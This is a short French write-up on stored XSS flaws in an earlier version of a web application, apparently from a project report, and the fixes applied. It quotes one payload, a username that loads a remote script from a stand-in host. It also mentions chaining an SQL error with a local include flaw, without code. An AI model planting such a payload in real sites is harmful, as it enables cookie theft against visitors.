Cross-Site Scripting
Le Cross-Site Scripting est une exécution arbitraire de code côté client, c'est-à-dire qu'un
attaquant peut, à partir du site, faire exécuter du code côté client type javascript à un visiteur ciblé (social
engineering, phishing) ou à l'ensemble des visiteurs (code dans la base de données).
Le danger de cette faille s'évapore peu à peu, mais elle est tellement présente qu'il faut y faire très attention.
Dans notre version 1, il y avait deux vulnérabilités de type 2 (vulnérabilité persistente, ou XSS du second ordre).
La première était dans l'affichage de la liste des membres. Si un membre décidait de prendre un pseudo de type
<script src=http://xssbase/x.js>, toute personne visitant la liste des membres aurait exécuté côté
client le script distant xssbase/x.js, ce qui permet de rediriger les utilisateurs vers d'autres sites, d'inclure
du contenu différent, de faire planter systématiquement les navigateurs ou de voler les cookies d'identification.
Une faille du même type existait dans les logs SQL. En effet, en causant une erreur SQL contenant du code et
en utilisant la faille de type local include, on pouvait exécuter du code côté client ou côté serveur.
Ces failles ont été corrigées par l'utilisation de htmlentities() (rend inoffensif tout code type html) et de
strip_tags() (supprime toute balise trouvée d'une chaîne de caractères). De même, on a jugé qu'il n'était pas
utile de permettre un login aussi long que 50 caractères et on a réduit la longueur du champ à 20 caractères.